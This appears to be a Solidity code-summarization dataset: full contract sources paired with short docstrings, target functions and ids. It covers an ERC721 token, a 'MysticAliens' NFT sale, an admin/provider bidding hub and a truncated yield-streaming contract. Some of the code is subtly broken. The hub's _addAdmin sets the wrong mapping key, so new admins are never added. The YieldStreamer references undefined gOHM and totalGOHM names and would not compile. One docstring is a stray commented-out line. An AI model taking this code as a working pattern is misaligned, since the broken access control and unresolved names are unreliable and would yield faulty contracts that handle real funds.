mapping(address => mapping(address => bool)) private _operatorApprovals;
string public _baseURI;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory base = baseURI();
return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function baseURI() internal view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
contract MysticAliens is ERC721Enumerable, Ownable
{
using SafeMath for uint256;
using Strings for uint256;
uint public constant _TOTALSUPPLY =2022;
uint public maxPerTx =5;
uint256 public price = 0.15 ether;
bool public isPaused = true;
uint private tokenId=1;
constructor(string memory baseURI) ERC721("MysticAliens", "MA") {
setBaseURI(baseURI);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseURI = baseURI;
}
function setPrice(uint256 _newPrice) public onlyOwner() {
price = _newPrice;
}
function setMaxxQtPerTx(uint256 _quantity) public onlyOwner {
maxPerTx=_quantity;
}
modifier isSaleOpen{
require(totalSupply() < _TOTALSUPPLY, "Sale end");
_;
}
function flipPauseStatus() public onlyOwner {
isPaused = !isPaused;
}
function getPrice(uint256 _quantity) public view returns (uint256) {
return _quantity*price ;
}
function mint(uint chosenAmount) public payable isSaleOpen{
require(isPaused == false, "Sale is not active at the moment");
require(totalSupply()+chosenAmount<=_TOTALSUPPLY,"Quantity must be lesser then remaining NFTs");
require(chosenAmount > 0, "Number of NFTs can not be less than or equal to 0");
require(chosenAmount <= maxPerTx,"Chosen Amount exceeds MaxQuantity allowed per transaction");
require(chosenAmount+balanceOf(msg.sender)<=10, "Maximum of 10 NFTs can be owned by one person");
require(price.mul(chosenAmount) == msg.value,"Sent ether value is not correct");
for (uint i = 0; i < chosenAmount; i++) {
_safeMint(msg.sender, totalsupply());
tokenId++;
}
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory base = baseURI();
return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString(), ".json")) : "";
}
function tokensOfOwner(address _owner) public view returns (uint256[] memory)
{
uint256 count = balanceOf(_owner);
uint256[] memory result = new uint256[](count);
for (uint256 index = 0; index < count; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function contractURI() public view returns (string memory) {
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Mystic Aliens", "description": "For decades, humans have researched and wondered about life beyond Earth. The search is finally over, 2022 Mystic Aliens have landed and they brought a spaceship full of otherworldly treasures - you too can reap the rewards of the Mystic Aliens one of a kind staking + DAO Protocol. APY that is out of this world, literally. Programmatically and randomly generated on the Ethereum Blockchain. Each Alien is unique, made from a combination of more than 50 attributes drawn by hand. A Mystic Alien is both a NFT collectible and a key to enter the spaceship and a lot more.", "seller_fee_basis_points": 1000, "fee_recipient": "0x2C0593Bbd2182C7818ab624FEC0d35EDad917C47"}'))));
json = string(abi.encodePacked('data:application/json;base64,', json));
return json;
}
function totalsupply() private view returns (uint)
{
return tokenId;
}
}
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
|
See {IERC721-approve}./
|
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
| 1,274,392 |
// contracts/MyContract.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.7.0;
//import "@openzeppelin/contracts/GSN/GSNRecipientERC20Fee.sol";
//import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
//import "@openzeppelin/contracts/access/Roles.sol";
contract HubContract is Initializable {
address private mainContract;
address private admin;
bytes32 private encrypted; //If blank, all will be encryoted
bytes32 private plaintext; //If blank, all will be encrypted
mapping(address => bool) private _admins;
//mapping Admin[] public _admins;
mapping(address => bool) private _providers;
//Providers are marked from their IAM to service contract.
//Provider's KPI are managed here.
event ProviderAdded(address indexed account);
event ProviderRemoved(address indexed account);
event OfferRolled(address indexed account, address offer);
event BidAwarded(address indexed account, address microbid, address account2);
event BidSubmitted(address indexed account, address microbid);
function initialize(address _master) public initializer {
//admin = _admin;//address _admin
mainContract = _master;
admin = msg.sender;
_admins[msg.sender] = true;
_addProvider(msg.sender);
}
/*
function io(uint256 typex,
bytes memory bidrequest, //can contain bid or request
address microbid,
address provider,
bytes32 _salt
) public {
if (typex == 1) {
_offer(_salt, microbid, bidrequest);
}
if (typex == 2) {
_award(microbid, provider);
}
if (typex == 3) {
_bid(microbid, provider, bidrequest);
}
}
*/
fallback() external payable { }
function offer(bytes32 _salt, address microbid, bytes memory bidrequest ) public {
_offer(_salt, microbid, bidrequest);
}
function award(address microbid, address provider) public {
_award(microbid, provider);
}
function bid(address microbid, address provider, bytes memory bidrequest) public {
_bid(microbid, provider, bidrequest);
}
//Admin Public Function
function isAdmin(address adminac) public view returns (bool) {
return _admins[adminac];
}
function renounceAdmin(address account) public {
require(_admins[msg.sender], "You must be admin");
_removeAdmin(account);
}
function addAdmin(address account) public {
require(_admins[msg.sender], "You must be admin");
_addAdmin(account);
}
// Provider Public Functions
function isProvider(address account) public view returns (bool) {
return _providers[account];
}
function renounceProvider(address spoke) public {
require(_admins[msg.sender], "You must be admin");
_removeProvider(spoke);
}
function addProvider(address spoke) public {
require(_admins[msg.sender], "You must be admin");
_addProvider(spoke);
}
//Admin Internal Function
function _addAdmin(address account) internal {
require(_admins[msg.sender], "You must be admin");
require(account != address(0));
//Admin memory admin = Admin(account, true);
_admins[admin] = true;
}
function _removeAdmin (address account) internal {
require(_admins[msg.sender], "You must be admin");
require(account != address(0));
_admins[account] = false;
delete _admins[account];
}
/*
modifier onlyProvider() {
require(isProvider(msg.sender));
_;
}*/
//Provided Internal Function
function _addProvider(address account) internal {
require(_admins[msg.sender], "You must be admin");
require(account != address(0));
//Provider memory provider = Provider(account, true);
_providers[account] = true;
emit ProviderAdded(account);
}
function _removeProvider (address account) internal {
require(_admins[msg.sender], "You must be admin");
require(account != address(0));
_providers[account] = false;
delete _providers[account];
emit ProviderRemoved(account);
}
//Create a Micro-Offer to serve the end customer
function _offer(
bytes32 _salt,
address microbid,
bytes memory request
) internal {
require(_admins[msg.sender], "You must be admin");
new OfferContract{salt: _salt}(mainContract , microbid, request);
emit OfferRolled(mainContract, microbid);
}
//Reward bid
function _award(address microbid, address provider) internal {
require(_admins[msg.sender], "You must be admin");
// require(microbid.call(bytes4(keccak256("setaward(address)")), provider));
OfferContract oc = OfferContract(microbid);
// call method from other contract
oc.setaward(provider);
emit BidAwarded(mainContract, microbid, provider);
}
//Provider Side Function of Bidding
function _bid(address microbid, address provider, bytes memory bid) internal {
require(_providers[msg.sender], "You must be a provider");
require(provider == msg.sender, "You must submit your own bids");
//require(microbid.call(bytes4(keccak256("setbid(byte32)")), bid));
OfferContract oc = OfferContract(microbid);
// call method from other contract
oc.setbid(provider, bid);
emit BidSubmitted(mainContract, microbid);
}
}
//Offer Contract for providers to send their bids -> Needs Access info of Admins & Providers from the HubContract
contract OfferContract {
address payable owner;
//address private recipient;
address private mainId;
address private selfId;
//address private pvtIdentity;
bytes private request;//Plaintext or Encrypted with Contract's key, so that only participating parties can read it
//bytes private response;//Encrypted with Hub's Public key, so that only hub can read it
address private winner;//Offchain Offerid
//bytes private offernonce;//Offchain Offer Nonce //Comprissing of user id hash
mapping(address => bytes) public responses;
mapping(address => bool) public acks;
constructor(
address _mainId, //Address of Main Contract
address _selfId, //Address of Sub Contract(This)
bytes memory _request
)public {
owner = msg.sender;
mainId = _mainId;
selfId = _selfId;
request = _request;
//providers = _providers;
//admins = _admins;
//require(success, "Transfer failed.");
}
function ack(address account) public { //Acknowledge
require(mainId == msg.sender, "Call from Contract Only");
acks[account] = true;
}
function end() public {
require(mainId == msg.sender, "Call from Contract Only");
selfdestruct(owner);
}
function setaward(address account) public {
require(mainId == msg.sender, "Call from Contract Only");
winner = account;
}
function setbid(address account, bytes memory bid) public {
require(mainId == msg.sender, "Call from Contract Only");
responses[account] = bid;
}
}
|
admin = _admin;address _admin
|
function initialize(address _master) public initializer {
mainContract = _master;
admin = msg.sender;
_admins[msg.sender] = true;
_addProvider(msg.sender);
}
| 7,241,378 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.10;
import {IERC20} from "../interfaces/IERC20.sol";
import {IgEXO} from "../interfaces/IgEXO.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {IYieldStreamer} from "../interfaces/IYieldStreamer.sol";
import {ExodusAccessControlled, IExodusAuthority} from "../types/ExodusAccessControlled.sol";
import {IUniswapV2Router} from "../interfaces/IUniswapV2Router.sol";
import {IStaking} from "../interfaces/IStaking.sol";
import {YieldSplitter} from "../types/YieldSplitter.sol";
error YieldStreamer_DepositDisabled();
error YieldStreamer_WithdrawDisabled();
error YieldStreamer_UpkeepDisabled();
error YieldStreamer_UnauthorisedAction();
error YieldStreamer_MinTokenThresholdTooLow();
error YieldStreamer_InvalidAmount();
/**
@title YieldStreamer
@notice This contract allows users to deposit their gOhm and have their yield
converted into a streamToken(normally DAI) and sent to their address every interval.
*/
contract YieldStreamer is IYieldStreamer, YieldSplitter, ExodusAccessControlled {
using SafeERC20 for IERC20;
uint256 private constant MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
address public immutable EXO;
address public immutable gEXO;
address public immutable streamToken; // Default is DAI but can be any token
IUniswapV2Router public immutable sushiRouter;
address[] public sushiRouterPath = new address[](2);
IStaking public immutable staking;
bool public depositDisabled;
bool public withdrawDisabled;
bool public upkeepDisabled;
uint256 public maxSwapSlippagePercent; // 6 decimals 1e6 is 100%
uint256 public feeToDaoPercent; // 6 decimals 1e6 is 100%
uint256 public minimumTokenThreshold;
struct RecipientInfo {
address recipientAddress;
uint128 lastUpkeepTimestamp;
uint128 paymentInterval; // Time before yield is able to be swapped to stream tokens
uint128 unclaimedStreamTokens;
uint128 userMinimumAmountThreshold;
}
mapping(uint256 => RecipientInfo) public recipientInfo; // depositId -> RecipientInfo
mapping(address => uint256[]) public recipientIds; // address -> Array of the deposit id's user is recipient of
uint256[] public activeDepositIds; // All deposit ids that are not empty or deleted
event Deposited(address indexed depositor_, uint256 amount_);
event Withdrawn(address indexed depositor_, uint256 amount_);
event UpkeepComplete(uint256 indexed timestamp);
event EmergencyShutdown(bool active_);
/**
@notice Constructor
@param gEXO_ Address of gEXO.
@param sEXO_ Address of sEXO.
@param EXO_ Address of EXO.
@param streamToken_ Address of the token the exo will be swapped to.
@param sushiRouter_ Address of sushiswap router.
@param staking_ Address of sEXO staking contract.
@param authority_ Address of Exodus authority contract.
@param maxSwapSlippagePercent_ Maximum acceptable slippage when swapping EXO to streamTokens as percentage 6 decimals.
@param feeToDaoPercent_ How much of yield goes to DAO before swapping to streamTokens as percentage 6 decimals.
@param minimumTokenThreshold_ Minimum a user can set threshold for amount of tokens accumulated as yield
before sending to recipient's wallet.
*/
constructor(
address gEXO_,
address sEXO_,
address EXO_,
address streamToken_,
address sushiRouter_,
address staking_,
address authority_,
uint128 maxSwapSlippagePercent_,
uint128 feeToDaoPercent_,
uint256 minimumTokenThreshold_
) YieldSplitter(sEXO_) ExodusAccessControlled(IExodusAuthority(authority_)) {
gEXO = gEXO_;
EXO = EXO_;
streamToken = streamToken_;
sushiRouter = IUniswapV2Router(sushiRouter_);
staking = IStaking(staking_);
sushiRouterPath[0] = EXO;
sushiRouterPath[1] = streamToken;
maxSwapSlippagePercent = maxSwapSlippagePercent_;
feeToDaoPercent = feeToDaoPercent_;
minimumTokenThreshold = minimumTokenThreshold_;
IERC20(gEXO).approve(address(staking), MAX_INT);
IERC20(EXO).approve(address(sushiRouter), MAX_INT);
}
/**
@notice Deposit gEXO, creates a deposit in the active deposit pool to be unkept.
@param amount_ Amount of gEXO.
@param recipient_ Address to direct staking yield and vault shares to.
@param paymentInterval_ How much time must elapse before yield is able to be swapped for stream tokens.
@param userMinimumAmountThreshold_ Minimum amount of stream tokens a user must have during upkeep for it to be sent to their wallet.
*/
function deposit(
uint256 amount_,
address recipient_,
uint128 paymentInterval_,
uint128 userMinimumAmountThreshold_
) external override {
if (depositDisabled) revert YieldStreamer_DepositDisabled();
if (amount_ <= 0) revert YieldStreamer_InvalidAmount();
if (userMinimumAmountThreshold_ < minimumTokenThreshold) revert YieldStreamer_MinTokenThresholdTooLow();
uint256 depositId = _deposit(msg.sender, amount_);
recipientInfo[depositId] = RecipientInfo({
recipientAddress: recipient_,
lastUpkeepTimestamp: uint128(block.timestamp),
paymentInterval: paymentInterval_,
unclaimedStreamTokens: 0,
userMinimumAmountThreshold: userMinimumAmountThreshold_
});
activeDepositIds.push(depositId);
recipientIds[recipient_].push(depositId);
IERC20(gEXO).safeTransferFrom(msg.sender, address(this), amount_);
emit Deposited(msg.sender, amount_);
}
/**
@notice Add more gEXO to your principal deposit.
@param id_ Id of the deposit.
@param amount_ Amount of gEXO to add.
*/
function addToDeposit(uint256 id_, uint256 amount_) external override {
if (depositDisabled) revert YieldStreamer_DepositDisabled();
_addToDeposit(id_, amount_, msg.sender);
IERC20(gEXO).safeTransferFrom(msg.sender, address(this), amount_);
emit Deposited(msg.sender, amount_);
}
/**
@notice Withdraw part or all of your principal amount deposited.
@dev If withdrawing all your principal, all accumulated yield will be sent to recipient
and deposit will be closed.
@param id_ Id of the deposit.
@param amount_ Amount of gOHM to withdraw.
*/
function withdrawPrincipal(uint256 id_, uint256 amount_) external override {
if (withdrawDisabled) revert YieldStreamer_WithdrawDisabled();
if (amount_ >= IgOHM(gOHM).balanceTo(depositInfo[id_].principalAmount)) {
address recipient = recipientInfo[id_].recipientAddress;
uint256 unclaimedStreamTokens = recipientInfo[id_].unclaimedStreamTokens;
(uint256 principal, uint256 totalGOHM) = _closeDeposit(id_, msg.sender);
delete recipientInfo[id_];
uint256 depositLength = activeDepositIds.length;
for (uint256 i = 0; i < depositLength; i++) {
// Delete integer from array by swapping with last element and calling pop()
if (activeDepositIds[i] == id_) {
activeDepositIds[i] = activeDepositIds[depositLength - 1];
activeDepositIds.pop();
break;
}
}
uint256[] storage recipientIdsArray = recipientIds[recipient];
uint256 recipientLength = recipientIdsArray.length;
for (uint256 i = 0; i < recipientLength; i++) {
// Delete integer from array by swapping with last element and calling pop()
if (recipientIdsArray[i] == id_) {
recipientIdsArray[i] = recipientIdsArray[recipientLength - 1];
recipientIdsArray.pop();
break;
}
}
IERC20(gEXO).safeTransfer(msg.sender, principal);
IERC20(gEXO).safeTransfer(recipient, totalGEXO - principal);
if (unclaimedStreamTokens != 0) {
IERC20(streamToken).safeTransfer(recipient, unclaimedStreamTokens);
}
} else {
_withdrawPrincipal(id_, amount_, msg.sender);
IERC20(gEXO).safeTransfer(msg.sender, amount_);
}
emit Withdrawn(msg.sender, amount_);
}
/**
@notice Withdraw excess yield from your deposit in gOHM.
@dev Use withdrawYieldInStreamTokens() to withdraw yield in stream tokens.
@param id_ Id of the deposit.
*/
function withdrawYield(uint256 id_) external override {
if (withdrawDisabled) revert YieldStreamer_WithdrawDisabled();
if (recipientInfo[id_].recipientAddress != msg.sender) revert YieldStreamer_UnauthorisedAction();
uint256 yield = _redeemYield(id_);
